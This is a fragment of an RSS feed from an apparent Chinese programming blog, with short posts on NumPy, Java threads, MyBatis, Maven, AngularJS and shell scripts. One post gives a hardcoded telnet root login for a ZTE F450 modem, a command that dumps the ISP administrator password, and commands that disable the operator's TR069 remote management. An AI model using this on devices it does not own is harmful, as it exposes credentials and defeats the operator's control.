      <title>CS231n学习笔记-1.Python&amp;Numpy学习</title>
      <link>https://bchobby.github.io/posts/ca90d0b7e6897b19ffdfd4c1fd9be664/</link>
      <pubDate>Sun, 01 Jan 2017 20:53:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca90d0b7e6897b19ffdfd4c1fd9be664/</guid>
      <description>Numpy是Python下一个非常强大的库。在这篇笔记里我将会把CS231n课程用到的一些Python和Numpy的用法用通俗易懂的语言和例子记录下来，方便自己复习也方便他人学习。这里附上Numpy的官方链接。&#xA;1.enumerate：不是单纯的打印内容，枚举的时候还会加上index&#xA;&amp;gt;&amp;gt;&amp;gt; classes = [&#39;plane&#39;, &#39;car&#39;, &#39;bird&#39;, &#39;cat&#39;, &#39;deer&#39;, &#39;dog&#39;, &#39;frog&#39;, &#39;horse&#39;, &#39;ship&#39;, &#39;truck&#39;] &amp;gt;&amp;gt;&amp;gt; for y, cls in enumerate(classes): ... print y, cls 0 plane 1 car 2 bird 3 cat 4 deer 5 dog 6 frog 7 horse 8 ship 9 truck 2.np.flatnonzero()：打印非零元素的下标，具体如下 &amp;gt;&amp;gt;&amp;gt; x = np.arange(-2, 3) &amp;gt;&amp;gt;&amp;gt; x array([-2, -1, 0, 1, 2]) &amp;gt;&amp;gt;&amp;gt; np.flatnonzero(x) array([0, 1, 3, 4]) 3.numpy.random.randint(low, high=None, size=None, dtype=&#39;l&#39;)：打印[low,high)之间的整数；如果high没有定义，那么就从[0,low)&#xA;&amp;gt;&amp;gt;&amp;gt; np.</description>
    </item>
    <item>
      <title>请问如何实现手环的消息提醒，android手机怎么获取通知栏消息并用蓝牙发送到手机</title>
      <link>https://bchobby.github.io/posts/c8fe15a6af4c77fb7683767fb72136e6/</link>
      <pubDate>Sun, 01 Jan 2017 04:08:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8fe15a6af4c77fb7683767fb72136e6/</guid>
      <description> 现在的手环都有消息提醒，那么手机端的app怎么写呢？如何才能获得不同app的消息提醒，不如微信，qq,短信，来电提醒，，，本人渣渣刚开始学习，什么都不会，求指点 </description>
    </item>
    <item>
      <title>中兴电信光纤猫F450获取管理员密码方法</title>
      <link>https://bchobby.github.io/posts/8c444f2553925ec0caf515737e0b99e7/</link>
      <pubDate>Fri, 30 Dec 2016 21:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c444f2553925ec0caf515737e0b99e7/</guid>
      <description>初衷：为了完成端口映射，一开始以为电信光猫不支持自定义路由，因为通过useradmin登录进去后&#xA;没有找到对应的选项。一番了解之后，原来光猫有超级密码，电信装机时是不会告诉你的，电信客服&#xA;一般也不会告诉你的！&#xA;1、telnet 192.168.1.1&#xA;账号：root&#xA;密码：Zte521&#xA;2、输入命令：&#xA;sendcmd 1 DB p DevAuthInfo&#xA;得到管理员账号密码如下：&#xA;&amp;lt;DM name=&#34;User&#34; val=&#34;telecomadmin&#34;/&amp;gt;&#xA;&amp;lt;DM name=&#34;Pass&#34; val=&#34;xxx&#34;/&amp;gt;&#xA;3、[可选]禁用光猫中的TR069(不是删除TR069)，杜绝运营商后台更新配置等检查信息。从而可以一直用telnet连接光猫。&#xA;sendcmd 1 DB p MgtServer&#xA;解释：查看一下当前的电信远程控制&#xA;sendcmd 1 DB set MgtServer 0 Tr069Enable 0&#xA;解释：禁用TR069远程控制&#xA;sendcmd 1 DB save&#xA;解释：修改保存&#xA;注：a. 我是在拔掉光纤之后，点击了恢复出厂设置，然后再做以上两步操作的。如若不然，telnet连接失败！&#xA;b. 参考1: http://www.cnblogs.com/dolphi/p/4309772.html&#xA;c. 参考2: https://www.chiphell.com/thread-1654145-1-1.html&#xA;d. 参考3: http://blog.sina.com.cn/s/blog_540316260102v2ru.html&#xA;另外，设置桥接模式的方法&#xA;我家路由器安装好之后被设置成了路由模式，也即自带路由的功能，光猫自动拨号，然后有线、无线自动获取ip地址。&#xA;我想要设置成桥接模式，也即光猫仅仅提供光纤网络信号，网络连接需要通过电脑或者路由器来拨号连接。&#xA;1. 用telecomadmin用户登录管理界面，删除路由模式的连接&#xA;2. 创建新的PPP连接，选择上网模式，然后选择桥接&#xA;3. 将路由器连接到光猫的某个网口，进入路由器的网络设置页面，设置拨号连接即可。&#xA;参考1: http://www.myxzy.com/post-344.html&#xA;转载于:https://www.cnblogs.com/xianzhon/p/6238350.html</description>
    </item>
    <item>
      <title>mybatis configuration的内容必须匹配问题</title>
      <link>https://bchobby.github.io/posts/45f2f51efaddc3ef1640278278d333f8/</link>
      <pubDate>Fri, 30 Dec 2016 13:49:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45f2f51efaddc3ef1640278278d333f8/</guid>
      <description> 问题：今天在写mybatis plugin插件的时候碰到如下错误：&#xA;org.apache.ibatis.exceptions.PersistenceException: ### Error building SqlSession. ### Cause: org.apache.ibatis.builder.BuilderException: Error creating document instance. Cause: org.xml.sax.SAXParseException; lineNumber: 35; columnNumber: 17; 元素类型为 &#34;configuration&#34; 的内容必须匹配 &#34;(properties?,settings?,typeAliases?,typeHandlers?,objectFactory?,objectWrapperFactory?,plugins?,environments?,databaseIdProvider?,mappers?)&#34;。 at org.apache.ibatis.exceptions.ExceptionFactory.wrapException(ExceptionFactory.java:30) at org.apache.ibatis.session.SqlSessionFactoryBuilder.build(SqlSessionFactoryBuilder.java:82) at org.apache.ibatis.session.SqlSessionFactoryBuilder.build(SqlSessionFactoryBuilder.java:66)分析：解析xml的plugins出现问题。 原因：Mybatis3.X 的版本使用的 dtd 作为 XML 的格式校验文档。 而在 XML 规范中，dtd 是有严格的顺序的，在报错的异常中已经列出了对应的顺序，所以必须进行严格匹配：plugins必须写在mappers之前。&#xA;&amp;lt;plugins&amp;gt; &amp;lt;plugin interceptor=&#34;com.steven.interceptor.PageInterceptor&#34;&amp;gt; &amp;lt;property name=&#34;databaseType&#34; value=&#34;mysql&#34;/&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;mappers&amp;gt; &amp;lt;mapper resource=&#34;mapper/Order.xml&#34;/&amp;gt; &amp;lt;mapper resource=&#34;mapper/Workflow.xml&#34;/&amp;gt; &amp;lt;mapper resource=&#34;mapper/PacificLog.xml&#34;/&amp;gt; &amp;lt;mapper resource=&#34;mapper/OrderMapping.xml&#34;/&amp;gt; &amp;lt;mapper resource=&#34;mapper/PacificAgreementInstance.xml&#34;/&amp;gt; &amp;lt;mapper resource=&#34;mapper/PlatformRelation.xml&#34;/&amp;gt; &amp;lt;mapper resource=&#34;mapper/PlatformRelationAttributes.xml&#34;/&amp;gt; &amp;lt;/mappers&amp;gt;参考：http://www.cnblogs.com/myssh/p/5404936.html </description>
    </item>
    <item>
      <title>Java线程的6种状态及切换(透彻讲解)</title>
      <link>https://bchobby.github.io/posts/fbad01938b36b6396e526cb146f10866/</link>
      <pubDate>Sat, 24 Dec 2016 16:57:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbad01938b36b6396e526cb146f10866/</guid>
      <description> Java中线程的状态分为6种。&#xA;1. 初始(NEW)：新创建了一个线程对象，但还没有调用start()方法。&#xA;2. 运行(RUNNABLE)：Java线程中将就绪（ready）和运行中（running）两种状态笼统的称为“运行”。&#xA;线程对象创建后，其他线程(比如main线程）调用了该对象的start()方法。该状态的线程位于可运行线程池中，等待被线程调度选中，获取CPU的使用权，此时处于就绪状态（ready）。就绪状态的线程在获得CPU时间片后变为运行中状态（running）。&#xA;3. 阻塞(BLOCKED)：表示线程阻塞于锁。&#xA;4. 等待(WAITING)：进入该状态的线程需要等待其他线程做出一些特定动作（通知或中断）。&#xA;5. 超时等待(TIMED_WAITING)：该状态不同于WAITING，它可以在指定的时间后自行返回。&#xA;6. 终止(TERMINATED)：表示该线程已经执行完毕。&#xA;这6种状态定义在Thread类的State枚举中，可查看源码进行一一对应。&#xA;一、线程的状态图 二、状态详细说明 1. 初始状态(NEW) 实现Runnable接口和继承Thread可以得到一个线程类，new一个实例出来，线程就进入了初始状态。&#xA;2.1. 就绪状态(RUNNABLE之READY) 就绪状态只是说你资格运行，调度程序没有挑选到你，你就永远是就绪状态。调用线程的start()方法，此线程进入就绪状态。当前线程sleep()方法结束，其他线程join()结束，等待用户输入完毕，某个线程拿到对象锁，这些线程也将进入就绪状态。当前线程时间片用完了，调用当前线程的yield()方法，当前线程进入就绪状态。锁池里的线程拿到对象锁后，进入就绪状态。 2.2. 运行中状态(RUNNABLE之RUNNING) 线程调度程序从可运行池中选择一个线程作为当前线程时线程所处的状态。这也是线程进入运行状态的唯一的一种方式。&#xA;3. 阻塞状态(BLOCKED) 阻塞状态是线程阻塞在进入synchronized关键字修饰的方法或代码块(获取锁)时的状态。&#xA;4. 等待(WAITING) 处于这种状态的线程不会被分配CPU执行时间，它们要等待被显式地唤醒，否则会处于无限期等待的状态。&#xA;5. 超时等待(TIMED_WAITING) 处于这种状态的线程不会被分配CPU执行时间，不过无须无限期等待被其他线程显示地唤醒，在达到一定时间后它们会自动唤醒。&#xA;6. 终止状态(TERMINATED) 当线程的run()方法完成时，或者主线程的main()方法完成时，我们就认为它终止了。这个线程对象也许是活的，但是它已经不是一个单独执行的线程。线程一旦终止了，就不能复生。在一个终止的线程上调用start()方法，会抛出java.lang.IllegalThreadStateException异常。 三、等待队列 调用obj的wait(), notify()方法前，必须获得obj锁，也就是必须写在synchronized(obj) 代码段内。与等待队列相关的步骤和图 线程1获取对象A的锁，正在使用对象A。线程1调用对象A的wait()方法。线程1释放对象A的锁，并马上进入等待队列。锁池里面的对象争抢对象A的锁。线程5获得对象A的锁，进入synchronized块，使用对象A。线程5调用对象A的notifyAll()方法，唤醒所有线程，所有线程进入同步队列。若线程5调用对象A的notify()方法，则唤醒一个线程，不知道会唤醒谁，被唤醒的那个线程进入同步队列。notifyAll()方法所在synchronized结束，线程5释放对象A的锁。同步队列的线程争抢对象锁，但线程1什么时候能抢到就不知道了。 四、同步队列状态 当前线程想调用对象A的同步方法时，发现对象A的锁被别的线程占有，此时当前线程进入同步队列。简言之，同步队列里面放的都是想争夺对象锁的线程。当一个线程1被另外一个线程2唤醒时，1线程进入同步队列，去争夺对象锁。同步队列是在同步的环境下才有的概念，一个对象对应一个同步队列。线程等待时间到了或被notify/notifyAll唤醒后，会进入同步队列竞争锁，如果获得锁，进入RUNNABLE状态，否则进入BLOCKED状态等待获取锁。 五、几个方法的比较 Thread.sleep(long millis)，一定是当前线程调用此方法，当前线程进入TIMED_WAITING状态，但不释放对象锁，millis后线程自动苏醒进入就绪状态。作用：给其它线程执行机会的最佳方式。Thread.yield()，一定是当前线程调用此方法，当前线程放弃获取的CPU时间片，但不释放锁资源，由运行状态变为就绪状态，让OS再次选择线程。作用：让相同优先级的线程轮流执行，但并不保证一定会轮流执行。实际中无法保证yield()达到让步目的，因为让步的线程还有可能被线程调度程序再次选中。Thread.yield()不会导致阻塞。该方法与sleep()类似，只是不能由用户指定暂停多长时间。thread.join()/thread.join(long millis)，当前线程里调用其它线程t的join方法，当前线程进入WAITING/TIMED_WAITING状态，当前线程不会释放已经持有的对象锁。线程t执行完毕或者millis时间到，当前线程一般情况下进入RUNNABLE状态，也有可能进入BLOCKED状态（因为join是基于wait实现的）。obj.wait()，当前线程调用对象的wait()方法，当前线程释放对象锁，进入等待队列。依靠notify()/notifyAll()唤醒或者wait(long timeout) timeout时间到自动唤醒。obj.notify()唤醒在此对象监视器上等待的单个线程，选择是任意性的。notifyAll()唤醒在此对象监视器上等待的所有线程。LockSupport.park()/LockSupport.parkNanos(long nanos),LockSupport.parkUntil(long deadlines), 当前线程进入WAITING/TIMED_WAITING状态。对比wait方法,不需要获得锁就可以让线程进入WAITING/TIMED_WAITING状态，需要通过LockSupport.unpark(Thread thread)唤醒。 六、疑问 等待队列里许许多多的线程都wait()在一个对象上，此时某一线程调用了对象的notify()方法，那唤醒的到底是哪个线程？随机？队列FIFO？or sth else？Java文档就简单的写了句：选择是任意性的（The choice is arbitrary and occurs at the discretion of the implementation）。 </description>
    </item>
    <item>
      <title>Eclipse如何修改eclipse默认的工作空间路径</title>
      <link>https://bchobby.github.io/posts/75821d769e9a38bc62af2833ca2eae0f/</link>
      <pubDate>Fri, 23 Dec 2016 22:01:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75821d769e9a38bc62af2833ca2eae0f/</guid>
      <description>一、设置Eclipse打开时自动弹出选择默认工作空间的提示&#xA;注意上图工作空间处没有编辑或添加功能，是一个小小的不足，所以，我们变通一下，打勾提示，这样我们在关闭eclipse软件后再打开时，再设置新的工作空间了。&#xA;二、再重新打开eclipse时设置新的工作空间的路径</description>
    </item>
    <item>
      <title>AArch64 是什么</title>
      <link>https://bchobby.github.io/posts/6d7677ec3b1e672e9c253b519662b183/</link>
      <pubDate>Fri, 23 Dec 2016 15:59:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d7677ec3b1e672e9c253b519662b183/</guid>
      <description>查看Android设备的CPU架构信息，可以使用命令来完成：&#xA;1、adb shell 2、cat /proc/cpuinfo ➜ ~ adb shell shell@hennessy:/ $ cat /proc/cpuinfo Processor&#x9;: AArch64 Processor rev 2 (aarch64) //cpu架构 processor&#x9;: 0 BogoMIPS&#x9;: 26.00 //核心数 Features&#x9;: fp asimd aes pmull sha1 sha2 crc32 CPU implementer&#x9;: 0x41 CPU architecture: AArch64 CPU variant&#x9;: 0x0 CPU part&#x9;: 0xd03 CPU revision&#x9;: 2 Hardware&#x9;: MT6795 //品牌 shell@hennessy:/ $ AArch64是ARMv8 架构的一种执行状态。&#xA;为了更广泛地向企业领域推进，需要引入 64 位构架。同时也需要在 ARMv8 架构中引入新的 AArch64 执行状态。AArch64 不是一个单纯的 32 位 ARM 构架扩展，而是 ARMv8 内全新的构架，完全使用全新的 A64 指令集。这些都源自于多年对现代构架设计的深入研究。更重要的是， AArch64 作为一个分离出的执行状态，意味着一些未来的处理器可能不支持旧的 AArch32 执行状态。 虽然最初的 64 位 ARM 处理器将会完全向后兼容，但我们大胆且前瞻性地将 AArch64 作为在 ARMv8 处理器中唯一的执行状态。我们在这些系统中将不支持 32 位执行状态， 这将使许多有益的实现得到权衡，如默认情况下，使用一个较大的 64K 大小的页面，并会使得纯净的 64 位 ARM 服务器系统不受遗留代码的影响。立即进行这种划分是很重要的，因为有可能在未来几年内将出现仅支持 64 位的服务器系统。没有必要在新的 64 位架构中去实现一个完整的 32 位流水线，这将会提高未来 ARM 服务器系统的能效。这样回想起来， AArch64 作为在 Fedora ARM 项目中被支持的 ARM 构架是一个很自然的过程： armv5tel、armv7hl、aarch64。新的架构被命名为：aarch64，这同 ARM 自己选择的主线命名方式保持一致，同时也考虑到了 ARM 架构名与 ARM 商标分开的期望。</description>
    </item>
    <item>
      <title>java对象——new对象的理解</title>
      <link>https://bchobby.github.io/posts/18516b56ff916653afa2848dff8e83bc/</link>
      <pubDate>Fri, 23 Dec 2016 15:39:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18516b56ff916653afa2848dff8e83bc/</guid>
      <description>学了好长时间的java对于java中的对象一直没有理清楚，今天楼主对java中的对象进行了整理，希望对大家有帮助。&#xA;理解和使用java中的对象，我们首先了解一下构造方法与对象的创建。 类是面向对象语言中最重要的一种数据，可以用类声明变量。面向对象语言中，用类声明的变量称为对象。&#xA;和基本数据类型不同，在声明对象后，还必须创建对象，即为声明的对象分配所拥有的的变量（确定对象所具有的属性），当时使用一个类创建一个对象时，也叫给出了这个类的一个实例。通俗的讲，类是创建对象的模板。&#xA;1. 构造方法 构造方法是类中的一种特殊方法，用类创建对象时需要使用它的构造方法，类中的构造方法必须和它所在类的名字完全相同，且没有类型。 class Person { int age; String name; Person(){ } } 在Person类中Person()是一个构造函数，其实这个方法是被java隐藏的，也就是说如果类中没有编写构造方法，系统会默认该类有一个无参数，且方法体中没有语句的构造函数。如Person类中的Person(){ }，如果类里定义了一个或多个构造函数，那么java就不提供默认的构造方法了。如下： class Person { int age; String name; Person(){ age=22; name=&#34;刘德华&#34;; } Person(int age,Stirng name){ System.out.println(&#34;the man age is&#34;+age+&#34;name: &#34;+name); } } 2 创建对象 （1）对象声明 一般格式为： 类的名字 对象的名字； 如： Person person； （2）为声明的对象分配变量 1.使用new运算符和类的默认构造方法为声明的对象分配变量，即创建对象。 class Person { int age; String name; void speak(String name){ System.out.println(name); } } public class OuXiang { public static void main(String[] args) { Person liudehua;&#x9;//声明对象 liudehua=new Person();&#x9;//为变量分配变量（使用new和默认的构造方法） } } 2.</description>
    </item>
    <item>
      <title>QuickFix Fix协议实现配置（一）</title>
      <link>https://bchobby.github.io/posts/600e02aac9481acb9fbbbb56b4ddeda9/</link>
      <pubDate>Wed, 21 Dec 2016 15:34:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/600e02aac9481acb9fbbbb56b4ddeda9/</guid>
      <description>Fix协议，有现成的QuickFix，拿来就可以用，不过要上手也要了解一下FIX协议，入手：&#xA;settings_ = new FIX::SessionSettings(p.string()); store_factory_ = new FIX::FileStoreFactory(*settings_); log_factory_ = new FIX::FileLogFactory(*settings_); initiator_ = new FIX::SocketInitiator(*this, *store_factory_, *settings_, *log_factory_); initiator_-&amp;gt;start(); 因为是客户端，所以要用Initialtor，服务端的话要用Acceptor&#xA;这里要加载配置文件：&#xA;[DEFAULT] ConnectionType=initiator ReconnectInterval=60 SenderCompID=xxxxxxxxx TargetCompID=xxxxxxx FileLogPath=log FileStorePath=log [SESSION] BeginString=FIX.4.2 StartTime=01:00:00 EndTime=23:59:00 HeartBtInt=30 SocketConnectPort=xxx SocketConnectHost=xxx.xxx.xxx.xxx DataDictionary=FIX/FIX42.xml ValidateUserDefinedFields=N 配置要注意两个log文件的配置要写在【default】下。不然老出现找不到的异常。 具体的字段可以看说明文档</description>
    </item>
    <item>
      <title>如何用angularjs获取本地JSONB文件</title>
      <link>https://bchobby.github.io/posts/bf8d5f745f1a7cfb4f2fa41fb171f6cd/</link>
      <pubDate>Tue, 20 Dec 2016 14:52:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf8d5f745f1a7cfb4f2fa41fb171f6cd/</guid>
      <description> 下面是goods_information.json文件的内容，它包含的就是简单的JSON串：&#xA;[{&#34;classification&#34;:&#34;饮料&#34;,&#34;name&#34;:&#34;可口可乐&#34;,&#34;price&#34;:&#34;3&#34;,&#34;unit&#34;:&#34;瓶&#34;},&#xD;{&#34;classification&#34;:&#34;饮料&#34;,&#34;name&#34;:&#34;雪碧&#34;,&#34;price&#34;:&#34;3&#34;,&#34;unit&#34;:&#34;瓶&#34;},&#xD;{&#34;classification&#34;:&#34;水果&#34;,&#34;name&#34;:&#34;苹果&#34;,&#34;price&#34;:&#34;5.5&#34;,&#34;unit&#34;:&#34;斤&#34;},&#xD;{&#34;classification&#34;:&#34;水果&#34;,&#34;name&#34;:&#34;荔枝&#34;,&#34;price&#34;:&#34;15&#34;,&#34;unit&#34;:&#34;斤&#34;},&#xD;{&#34;classification&#34;:&#34;生活用品&#34;,&#34;name&#34;:&#34;电池&#34;,&#34;price&#34;:&#34;2&#34;,&#34;unit&#34;:&#34;个&#34;},&#xD;{&#34;classification&#34;:&#34;食品&#34;,&#34;name&#34;:&#34;方便面&#34;,&#34;price&#34;:&#34;4.5&#34;,&#34;unit&#34;:&#34;袋&#34;}] 注意：对象的属性名必须使用双引号&#xA;使用$http.get方法获取JSON文件&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xD;&amp;lt;html ng-app=&#34;myApp&#34;&amp;gt;&#xD;&amp;lt;head lang=&#34;en&#34; &amp;gt;&#xD;&amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt;&#xD;&amp;lt;title&amp;gt;demo&amp;lt;/title&amp;gt;&#xD;&amp;lt;script src=&#34;../js/angular.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xD;&amp;lt;/head&amp;gt;&#xD;&amp;lt;body ng-controller=&#34;demoCtrl&#34;&amp;gt;&#xD;&amp;lt;table&amp;gt;&#xD;&amp;lt;tr ng-repeat=&#34;item in goods_informations&#34;&amp;gt;&#xD;&amp;lt;td&amp;gt;{{item.classification}}&amp;lt;/td&amp;gt;&#xD;&amp;lt;td&amp;gt;{{item.name}}&amp;lt;/td&amp;gt;&#xD;&amp;lt;td&amp;gt;{{item.price}}&amp;lt;/td&amp;gt;&#xD;&amp;lt;td&amp;gt;{{item.unit}}&amp;lt;/td&amp;gt;&#xD;&amp;lt;/tr&amp;gt;&#xD;&amp;lt;/table&amp;gt;&#xD;&amp;lt;script&amp;gt;&#xD;var app=angular.module(&#39;myApp&#39;,[])&#xD;app.controller(&#39;demoCtrl&#39;, function($scope,$http) {&#xD;$http.get(&#39;../js/goods_information.json&#39;).success(function(data){&#xD;$scope.goods_informations = data;&#xD;})&#xD;})&#xD;&amp;lt;/script&amp;gt;&#xD;&amp;lt;/body&amp;gt;&#xD;&amp;lt;/html&amp;gt; </description>
    </item>
    <item>
      <title>如何在pom文件引用其他项目作为JAR包</title>
      <link>https://bchobby.github.io/posts/0e53f55f020d84719df52e1f65586e6f/</link>
      <pubDate>Mon, 19 Dec 2016 10:42:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e53f55f020d84719df52e1f65586e6f/</guid>
      <description>打开需要引用的项目的pom文件，每个pom文件都有如下一段节点：&#xA;&amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;&#xA;&amp;lt;groupId&amp;gt;&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;packaging&amp;gt;war&amp;lt;/packaging&amp;gt;&#xA;&amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt;&#xA;&amp;lt;name&amp;gt;Maven_Project Maven Webapp&amp;lt;/name&amp;gt;&#xA;&amp;lt;url&amp;gt;http://maven.apache.org&amp;lt;/url&amp;gt;&#xA;其中&#xA;&amp;lt;groupId&amp;gt;&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;&amp;lt;/version&amp;gt; 这三个是需要用到的，需要复制下来&#xA;然后在自己的pom文件中的&amp;lt;dependencies&amp;gt;节点里添加&amp;lt;dependency&amp;gt;节点，在&amp;lt;dependency&amp;gt;里添加刚才复制的&#xA;&amp;lt;groupId&amp;gt;&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;&amp;lt;/version&amp;gt;&#xA;最后在项目右键菜单里选择Maven的update project从新构建一下项目就可以成功的引用到项目了</description>
    </item>
    <item>
      <title>解析复杂JSON对象</title>
      <link>https://bchobby.github.io/posts/c8c0365d7ed5c7397d82f6c45351b606/</link>
      <pubDate>Mon, 19 Dec 2016 10:23:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8c0365d7ed5c7397d82f6c45351b606/</guid>
      <description> JSONObject 转对象：&#xA;JSONObject data = (JSONObject) str;&#xA;obj = JSONObject.parseObject(data.toString(), Object.class);&#xA;JSONArray转List：&#xA;JSONArray array = data.getJSONArray(&#34;节点名称&#34;); List&amp;lt;Object&amp;gt; ObjectList = JSON.parseArray(array.toJSONString(), Object.class); </description>
    </item>
    <item>
      <title>建立Meaven项目(Meaven&#43;SpringMvc)</title>
      <link>https://bchobby.github.io/posts/1e59c30158a334631ed37d6c8c17fa02/</link>
      <pubDate>Fri, 16 Dec 2016 16:34:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e59c30158a334631ed37d6c8c17fa02/</guid>
      <description>1.选择建立Meaven Project项目 2.在列表里的Artifact Id里找到meaven-archetype-webapp 3.填写组名(Group Id)、组件名(Artifact Id) 4.引入Spring依赖包：在pom文件中引入以下特性 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-test&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-oxm&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-tx&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-aop&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-context&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-context-support&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-expression&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-orm&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${srping.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 这样我们就建立了一个MeavenWeb项目，但是建立后会出现各种报错，下面介绍一下常见报错的解决： 1.</description>
    </item>
    <item>
      <title>shell 脚本中获取命令的输出</title>
      <link>https://bchobby.github.io/posts/1a70a877195eb9409d7df6905ae4ecc5/</link>
      <pubDate>Thu, 15 Dec 2016 17:47:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a70a877195eb9409d7df6905ae4ecc5/</guid>
      <description>这个主要介绍的方法是获取命令的输出内容，而不是命令执行成功与否的返回值。&#xA;通常情况下，在shell脚本中需要获取命令的输出内容，然后根据输出内容判断下一步的执行操作。&#xA;比较常用的一种方式就是， 匹配命令输出的内容中是否存在某些关键字，选择执行的不同动作。&#xA;比较常用的一种方式就是采用反向单引号的方式 -- 保存结果的变量名=`需要执行的linux命令`&#xA;这种方式在使用时，有些细节的地方需要注意。 先用几个例子来说明一下。&#xA;比如在CentOS7环境中，使用rpm -qa命令查询某些rpm包是否安装，没有安装的话进行安装操作。&#xA;举个简单的例子来说：&#xA;#!/bin/bash&#xA;check_results=`rpm -qa | grep &#34;zlib&#34;`&#xA;echo &#34;command(rpm -qa) results are: $check_results&#34;&#xA;if [[ $check_results =~ &#34;zlib&#34; ]] then echo &#34;package zlib has already installed. &#34;&#xA;else echo &#34;This is going to install package zlib&#34;&#xA;fi&#xA;保存为test.sh文件，然后运行&#xA;$bash test.sh 结果为：&#xA;command(rpm -qa) results are: zlib-1.2.7-13.el7.x86_64&#xA;package zlib has already installed. 这个脚本基本上是可以工作的。&#xA;那么，我们同样使用类似的方式来检查iscsi-initiator软件包是否安装。 与上一个命令不同的是，这个命令是否安装不能通过rpm -qa命令获取。&#xA;我们采取另一种方式&#xA;#!/bin/bash&#xA;check_results=`iscsiadm --version | grep iscsiadm`</description>
    </item>
    <item>
      <title>webstorm如何添加vue支持</title>
      <link>https://bchobby.github.io/posts/d9a838860da2711ce63625c8c895d25b/</link>
      <pubDate>Wed, 14 Dec 2016 11:27:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9a838860da2711ce63625c8c895d25b/</guid>
